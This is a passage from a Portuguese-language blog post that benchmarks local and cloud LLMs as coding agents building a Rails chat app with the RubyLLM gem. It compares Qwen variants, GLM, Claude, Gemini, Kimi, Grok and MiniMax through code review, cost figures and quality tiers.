A leitura honesta é que distilação transferiu uma camada e parou. A camada que veio junto foi a do estilo: organização do código, comentários, estrutura de classes, ordem das coisas. A camada que ficou pra trás foi a da memória factual sobre bibliotecas específicas. Isso faz sentido quando você pensa: traços de raciocínio do Claude, mesmo escritos com calma, raramente contêm referências repetidas a chat.ask(msg).content num gem Ruby obscuro. O aluno só aprende o que o professor repete, e Claude nunca teve motivo pra ficar sussurrando “use ask, não use complete” ao longo das suas cadeias de pensamento. Conhecimento de API de biblioteca é memória binária de recall, do tipo que ou está nos pesos ou não está. Decompor isso em passos de raciocínio é impossível porque não é raciocínio, é só lembrança crua.

Pra fechar com a recomendação prática: se você precisa que o modelo realmente use o RubyLLM, ou qualquer biblioteca menos popular que seja, distilação de Claude não te salva. Use Claude de verdade ou GLM 5. Os “Claude-stand-ins” open source vão falhar do mesmo jeito que o Qwen base falharia, só que com letrinha mais bonita.

Coder vs Geral: a surpresa dos modelos “pra coding”

A intuição de quase todo mundo é que modelos com “Coder” no nome são os melhores pra programação. Faz sentido, foram fine-tunados especificamente em código. Mas no benchmark, foi exatamente o oposto.

Dos três Coders dedicados, dois falharam catastroficamente (timeout total e mock string hardcoded) e um nem rodou direito por bug de infra. Já o Qwen 3.5 35B-A3B, que é o modelo geral da linha (não o Coder), foi o que mais perto chegou de algo aproveitável: 5 minutos de execução, projeto Rails reconhecível, e o problema dele se conserta em 1-2 prompts.

O Qwen 3 Coder 30B é particularmente decepcionante. Ele passou longe de qualquer tentativa séria de usar a API: o controller que ele gerou tem isso:

class Api::V1::MessagesController < ApplicationController
  def create
    render json: {
      response: "This is a mock response. In a real implementation, this would connect to RubyLLM with Claude Sonnet via OpenRouter."
    }
  end
end

O Gemfile lista gem "ruby_llm" mas nada importa. O service layer é inexistente. O modelo decidiu que era mais fácil devolver uma string fake e seguir a vida. Isso é Tier 3 garbage de uma forma que nem prompt de correção arruma — tem que mandar reescrever do zero.

O Qwen 2.5 Coder 32B é ainda pior: 90 minutos rodando, zero arquivos. O opencode-output.ndjson de 1.8 MB mostra o modelo girando sem conseguir escrever nada. Provavelmente entrou em loop de planejamento sem nunca chamar as ferramentas de write. Total perda de slot.

Por que os “Coder” Qwens foram tão mal? Minha leitura é que o fine-tuning específico pra coding deles foi treinado em problemas mais isolados (Codeforces, Leetcode, snippets curtos), longe dos fluxos agentic com tool calling de longa duração. O modelo geral Qwen 3.5 35B-A3B tem treinamento mais amplo e se vira melhor com a parte de orquestração. A intuição popular “Coder = melhor pra coding agent” tá errada pra esse tipo de tarefa. O caso de uso onde os Coders se saem bem é “completar uma função isolada”, que é exatamente pro que eles foram treinados, e isso é uma fração pequena do que um coding agent faz no dia a dia.

A pergunta que eu queria responder

Era essa: rodando local na 5090, qual modelo Qwen vale o 1-2 prompts de correção pra entregar código que funcione?

A resposta honesta é: só o Qwen 3.5 35B-A3B, e talvez o Claude-distilado se você não se importa de gastar 12 minutos a mais.

• Qwen 3.5 35B-A3B na 5090: 5 minutos, entry point certo (RubyLLM.chat(model:)), erros nas chamadas seguintes. Total realista até funcionar: na faixa de 15-20 minutos com 1-2 follow-ups. Bate cloud OSS na conta de custo.
• Qwen 3.5 27B Claude-distilado na 5090: 12 minutos, alucinação mais profunda (entry point inventado também). Total realista: 25-30 minutos com 2-3 follow-ups. Ainda compete em custo, e perde em tempo absoluto pro Claude real.
• Os outros (Coder 30B, Coder 2.5 32B, 3 32B): não recompensam o tempo de correção. Cada um tem um problema estrutural que pede reescrita inteira do zero.

Pra quem tem hardware nessa categoria e quer fugir do vendor lock-in da Anthropic, agora dá. Não dava na 5090 do ano passado, no Strix Halo então, esquece. Em 2026, na NVIDIA Blackwell, com o modelo certo, dá. Pra quem tem hardware de banda baixa (LPDDR5x, DDR4, DDR5), continua sendo perda de tempo: o relógio sozinho derruba qualquer plano de tornar isso prático.

Qwen 3.6: o que mudou em relação ao 3.5

Testamos dois sabores do Qwen 3.6: o 3.6 Plus (cloud, OpenRouter, grátis) e o 3.6 35B (local, NVIDIA 5090, Q3_K_M).

O Qwen 3.6 Plus (cloud) completou em 17 minutos com 88.940 tokens e 9/9 no checklist de artefatos. Completou rápido e de graça. Mas o serviço gerado usa chat.add_message(), método que não existe no RubyLLM. A primeira mensagem funciona, a segunda quebra. O mesmo problema do 3.5.

O Qwen 3.6 35B (local, 5090) é mais interessante. Completou em 4.7 minutos a 240 tok/s, 169 arquivos, entry point RubyLLM.chat(model:, provider:) correto e chat.ask(message) correto. O bug é mais sutil: retorna response em vez de response.content e não faz replay de histórico. Correção de 1 linha. Isso é uma melhoria real sobre o Qwen 3.5 35B-A3B (que alucinava add_message e complete). É o resultado Qwen mais limpo que vimos até agora.

O gap diminuiu mas não fechou. O 3.6 35B local está mais perto de funcionar que qualquer Qwen anterior — o bug é um .content esquecido, não uma API inteira inventada. Mas continua sem multi-turn funcional de primeira. Na prática, o Qwen 3.6 35B local sobe do Tier 3 pro Tier 2: é o modelo open source local que mais perto chega de entregar código correto no primeiro try, a uma correção de distância.

O Deep Code Review: Sonnet vs GLM 5 vs Gemini vs Kimi vs MiniMax

As tabelas acima medem completude estrutural. Mas o projeto funciona? Fiz code review detalhado dos modelos que completaram o benchmark.

Claude Sonnet 4.6 — funciona e é o mais completo. Respostas síncronas via Turbo Stream. Histórico de chat persistido em session cookie com replay completo das mensagens anteriores a cada request. Mocking correto do LLM nos testes com mocha (30 testes em 328 linhas). Lógica de LLM extraída pra um LlmChatService separado. Views decompostas em 9 partials. Problemas menores: constante de modelo duplicada, leak no event listener do auto-resize. Nenhum é blocker. Dos projetos gerados, é o que mais se aproxima de algo que você colocaria em produção.

GLM 5 — funciona, mas é o mínimo viável. Usa a API correta (RubyLLM.chat(model:) depois .ask()), faz mocking com mocha nos testes. Só que o projeto é bem mais enxuto que o do Sonnet: controller de 21 linhas (vs 52 do Sonnet), sem service layer (lógica LLM inline no controller), sem persistência de histórico de chat, cada mensagem tratada isoladamente. A primeira mensagem funciona, mas o app não mantém contexto de conversação, então não dá pra ter um diálogo multi-turn. Os testes existem (7 métodos) mas são esqueléticos: o ruby_llm_test.rb só checa se o módulo está carregado, o chat_flow_test.rb é cópia do controller test. O Dockerfile, por outro lado, é o melhor dos quatro: multi-stage, non-root, jemalloc. Mas como app de chat? É mais uma prova de conceito do que algo funcional. Detalhe engraçado: o README diz “Powered by Claude Sonnet 4” em vez do modelo que realmente gerou o projeto.

Gemini 3.1 Pro — o mais rápido, mas tropeça na API. Completou em 14 minutos, o mais rápido junto com o MiniMax. O código Rails em si é bem feito: usa Rails.cache com session ID e expiração de 2 horas pra manter estado (em vez de banco de dados), Turbo Streams bem integrados, Stimulus controller pra scroll automático, e o Dockerfile é o melhor do grupo (multi-stage, non-root, jemalloc). O problema é o de sempre: usa RubyLLM::Chat.new() em vez de RubyLLM.chat(), e chama add_message() que não existe. O app boota, o Docker roda, o health check passa, mas a primeira mensagem de chat dá 500. Os testes (5 métodos) mockam com um FakeChat que replica a assinatura errada, então passam. É frustrante porque o resto do código é o mais “Rails way” dos modelos que não são Anthropic. Corrigir seriam 3 linhas, mas o benchmark mede o que sai de primeira.

Kimi K2.5 — ambicioso mas quebrado. Tentou a arquitetura mais sofisticada: ActionCable streaming, modelos configuráveis, dual Dockerfiles, 37 testes em 374 linhas. Problema: o streaming depende do ActionCable, que está comentado no config/application.rb. O guard return unless defined?(ActionCable) faz o método não fazer nada. O assistente nunca responde. O Stimulus controller tem bug de escopo: o submitTarget referencia um botão fora da subtree do controller. Storage thread-unsafe com hash em variável de classe. O Kimi escreveu mais testes que qualquer outro modelo (37), mas nenhum mocka as chamadas LLM — então os testes passam sem provar que a funcionalidade funciona de verdade.

Grok 4.20 — rápido e errado. Foi o mais rápido do benchmark inteiro: 8 minutos, 412 tok/s. Só que foi rápido porque cortou caminho. O prompt pedia explicitamente o gem ruby_llm, e o Grok ignorou. Foi direto no OpenAI::Client da gem ruby-openai apontando pra URL do OpenRouter. Tecnicamente a primeira mensagem volta, então sim, “funciona”. Mas é o mesmo truque do Step 3.5 Flash e do Qwen 3.5 122B: pula a peça que tava sendo testada. Sem histórico, controller de 33 linhas chamando o cliente HTTP no braço, dois testes, nenhum mock de verdade. Foi rápido porque fez menos do que pediram.

MiniMax M2.7 — parece certo, crasha. Chama RubyLLM.chat(model: '...', messages: [...]) — essa assinatura não existe. Sem persistência de mensagens. HTML duplicado (DOCTYPE dentro do layout). master.key commitada. E os testes? Mockam a API errada, então passam mas não provam nada.

Resumo do code review:

GLM 5 vs GLM 5.1: o que mudou

O GLM 5 foi um dos poucos modelos que cuspiu código funcional de primeira, então era óbvio testar a versão nova. Um detalhe que importa antes dos números: o GLM 5 rodou via OpenRouter, o GLM 5.1 ainda não tava lá quando rodei o teste, então usei a API direta da Z.AI. Provedor diferente, infra diferente, cache diferente. Os números abaixo são referência, não medida exata.

O projeto do GLM 5.1 ficou bem mais completo. 24 testes contra 7. Separação real entre ChatSession, ChatMessage e o controller, em vez do GLM 5 botando tudo inline. Histórico de chat persistido em memória durante a sessão, então dá pra ter uma conversa multi-turn de verdade (o GLM 5 tratava cada mensagem como se fosse a primeira). E a API do RubyLLM continua correta, mesmo padrão RubyLLM.chat(model:, provider:) seguido de c.user/c.assistant pra montar o contexto. Tem até teste cobrindo a constante MODEL, coisa que normalmente ninguém faz.

O preço foi velocidade. 22 minutos contra 17, e a vazão caiu de 400 pra 167 tok/s. Pode ser provedor (Z.AI direto não é a mesma infra do OpenRouter), pode ser um run mais carregado no servidor, pode ser que o 5.1 raciocine mais. Não rodei várias vezes pra fazer média, então não vou dizer que o 5.1 é “mais lento”. Uma run só não prova regressão. O que dá pra dizer é que, no meu teste, o 5.1 entregou um projeto melhor estruturado e demorou um pouco mais pra fazer isso.

Pra quem quer fugir da Anthropic sem perder qualidade, GLM 5 e GLM 5.1 são as duas opções que funcionam. Se você precisa de billing centralizado no OpenRouter, GLM 5. Se consegue usar a Z.AI direto e quer um projeto mais redondo de primeira, GLM 5.1.

Custos: API vs Assinatura

Primeiro, o preço por token de cada modelo no OpenRouter:

O GPT 5.4 Pro cobra $180 por milhão de tokens de output. O Claude Opus cobra $25. O GLM 5 cobra $2.30. E o Qwen 3.6 Plus é grátis (com rate limit). A escala logarítmica no gráfico esconde um pouco a brutalidade da diferença: de Qwen grátis pra GPT 5.4 Pro são ordens de magnitude.

Mas preço por token não é a história completa. Se você usa Claude ou GPT diariamente pra coding, a assinatura mensal pode sair muito mais barata que pagar por token via API:

*Estimativa pra uso moderado de coding (~15M input + ~3M output tokens/mês).

O ponto principal: se você usa GPT 5.4 Pro, a assinatura ChatGPT Pro a $200/mês com uso ilimitado é 5x mais barata que pagar por token na API. Pra Claude, o Pro a $20/mês cobre uso leve, mas pra quem usa pesado (maratona de coding como a minha), o Max 20x a $200/mês sai mais barato que pagar Opus por token no OpenRouter (~$450/mês). Os modelos open source no OpenRouter ficam todos abaixo de $2.50/M output tokens, mas como vimos, a maioria gera código que não roda.

O que funciona pra uso real

Depois de testar 33 modelos ao longo das duas rodadas e olhar o código gerado em detalhe:

Tier 1 (funciona plug and play):

Tier 2 (funciona com ressalvas):

Tier 3 (código quebrado, mesmo com prompts de correção é mais fácil refazer):

Kimi K2.5, MiniMax M2.7, DeepSeek V3.2, Gemini 3.1 Pro, Qwen 3 Coder Next (Strix), Qwen 3 Coder 30B (5090, devolveu mock string hardcoded), Qwen 3.5 122B, Qwen 3.6 Plus — todos inventam APIs que não existem ou nem tentam usar o gem.

Tier 4 (não completaram):

Gemma 4 (loop infinito nos dois hardwares), Llama 4 Scout (sem parser), GPT OSS 20B (diretório errado no Strix, regressão de parser na 5090), Qwen 3 32B (lento demais no Strix, scaffold parcial na 5090), Qwen 2.5 Coder 32B (timeout 90m com zero arquivos).

Ranking simplificado (qualidade, tempo, preço)

Pra quem quer só o resumão em forma de boletim escolar. Qualidade é se o código roda e quão completo está. Tempo é o tempo total do run. Preço é o custo estimado por execução no opencode. Hardware indica onde o modelo rodou — Cloud, Strix (AMD Strix Halo, LPDDR5x 256 GB/s) ou 5090 (NVIDIA RTX 5090, GDDR7 1792 GB/s). Modelos cloud rodaram via OpenRouter ou API direta do provedor.